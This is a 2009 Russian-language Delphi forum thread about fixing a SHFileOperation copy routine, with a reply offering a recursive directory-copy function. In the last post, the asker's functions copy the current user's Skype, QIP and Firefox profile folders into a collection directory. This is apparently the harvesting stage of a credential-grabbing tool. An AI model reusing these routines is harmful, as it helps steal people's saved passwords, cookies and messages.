Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 03.09.2009, 12:57   #1
jone
Форумчанин
 
Аватар для jone
 
Регистрация: 27.09.2008
Сообщений: 152
По умолчанию Виндус копирование

я пользуюсь вотакой вот функцией

Код:
procedure FileSystemAction(action:longint;fromDir,toDir:string);
var SHFileOp:TSHFileOpStruct;
begin

SHFileOp.wFunc :=action;
SHFileOp.pFrom :=Pchar(fromDir +#0+#0);
SHFileOp.pTo :=Pchar(toDir +#0+#0);
SHFileOp.fFlags:=    FOF_NOCONFIRMMKDIR       ;
SHFileOp.fAnyOperationsAborted:=false;
SHFileOp.hNameMappings :=NIL;
SHFileOp.lpszProgressTitle :=NIL;
SHFileOperation(SHFileOp);
end;
Но этот код багует копирует не всё
вот к примеру

FileSystemAction(FO_COPY,'C:\Docume nts and Settings'+GetCurrentUserName+'\Skyp e\*.*', 'c:\sk\');

как исправить? или поделитесь другой функцией копирования, спасибки
jone вне форума Ответить с цитированием
Старый 03.09.2009, 13:10   #2
Kotofff
Участник клуба
 
Аватар для Kotofff
 
Регистрация: 11.01.2009
Сообщений: 1,917
По умолчанию

Цитата:
Но этот код багует копирует не всё
Может просто эти файлы заняты ? Поэтому этот код и не копирует их.

P.S.
Интересует копирование именно директорий полностью ?
Код:
uses SysUtils, FileCtrl, Windows;
...
...
function FullDirectoryCopy(SourceDir, TargetDir: string; StopIfNotAllCopied,
  OverWriteFiles: Boolean): Boolean;
var
  SR: TSearchRec;
  I: Integer;
begin
  Result := False;
  SourceDir := IncludeTrailingBackslash(SourceDir);
  TargetDir := IncludeTrailingBackslash(TargetDir);
  if not DirectoryExists(SourceDir) then Exit;// если нет исходной папки - выход
  if not ForceDirectories(TargetDir) then Exit;// если не можем создать папку назначения - выход
  I := FindFirst(SourceDir + '*', faAnyFile, SR);
  try
    while I = 0 do
    begin
      if (SR.Name <> '') and (SR.Name <> '.') and (SR.Name <> '..') then
      begin
        if SR.Attr = faDirectory then
          Result := FullDirectoryCopy(SourceDir + SR.Name, TargetDir + SR.NAME, StopIfNotAllCopied, OverWriteFiles)
        else if not (not OverWriteFiles and FileExists(TargetDir + SR.Name))
          then Result := CopyFile(Pchar(SourceDir + SR.Name), Pchar(TargetDir + SR.Name), False)
          else Result := True;
        if not Result and StopIfNotAllCopied then  exit;
      end;
      I := FindNext(SR);
    end;
  finally
    SysUtils.FindClose(SR);
  end;
end;
"Заряженному танку в дуло не смотрят" @Dekmer in WoT
Kotofff вне форума Ответить с цитированием
Старый 03.09.2009, 18:27   #3
jone
Форумчанин
 
Аватар для jone
 
Регистрация: 27.09.2008
Сообщений: 152
По умолчанию

нет файлы не используются полностью свабодны.
а копирование нужно 2 в 1 --- '\Skype\' либо '\Skype\*.*' или '\Skype\*.exe'
Хелп плиззз
jone вне форума Ответить с цитированием
Старый 04.09.2009, 09:20   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
jone
А у меня нормательно отработало.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 04.09.2009, 09:53   #5
Lime
Форумчанин
 
Аватар для Lime
 
Регистрация: 10.02.2009
Сообщений: 815
Вопрос

Цитата:
Сообщение от jone Посмотреть сообщение
FileSystemAction(FO_COPY,'C:\Docume nts and Settings'+GetCurrentUserName+'\Skyp e\*.*', 'c:\sk\');
Возможно "\" слеша не хватает? Между юзером и документами ..
Lime вне форума Ответить с цитированием
Старый 04.09.2009, 20:23   #6
jone
Форумчанин
 
Аватар для jone
 
Регистрация: 27.09.2008
Сообщений: 152
По умолчанию

Код:
function Skype (const dirr:string) :string;
begin
 if DirectoryExists('C:\Documents and Settings\'+GetUserNames+'\Skype')=true then
 FileSystemAction(FO_COPY,'C:\Documents and Settings\'+GetUserNames+'\Skype\', dirr+'\sk\');
end;
вот моя функция она не робит папка есть всё есть делю всё со слешами
все остальные такие функции пашут на ура
вот к примеру
Код:
function qip (const dirr:string) :string;
begin
if DirectoryExists('C:\Program Files\QIP\Users')=true then   FileSystemAction(FO_COPY,'C:\Program Files\QIP\Users',dirr+'\qip\');
end;

function mazila (const dirr:string) :string;
begin
if DirectoryExists('C:\Documents and Settings\'+GetUserNames+'\Application Data\Mozilla\Firefox\Profiles\')=true then FileSystemAction(FO_COPY,'C:\Documents and Settings\'+GetUserNames+'\Application Data\Mozilla\Firefox\*.*',dirr+'\mazila\');
end;
Ошибку нашёл она была в неправельном пути невнимателен)

Код:
function Skype (const dirr:string) :string;
begin
 if DirectoryExists('C:\Documents and Settings\'+GetUserNames+'\Application Data\Skype')=true then
 FileSystemAction(FO_COPY,'C:\Documents and Settings\'+GetUserNames+'\Application Data\Skype\*.*', dirr+'\sk\');
end;

Последний раз редактировалось Stilet; 07.09.2009 в 10:39.
jone вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Копирование Яр|/||< (^_^) Общие вопросы Delphi 6 04.07.2009 15:34
Копирование Lyubov1990 Microsoft Office Excel 1 11.06.2009 23:05
Копирование файлов VadEr Помощь студентам 4 06.04.2009 18:49
Копирование VVVasek Microsoft Office Excel 13 20.09.2008 23:12
Копирование ryton SQL, базы данных 2 30.06.2008 09:32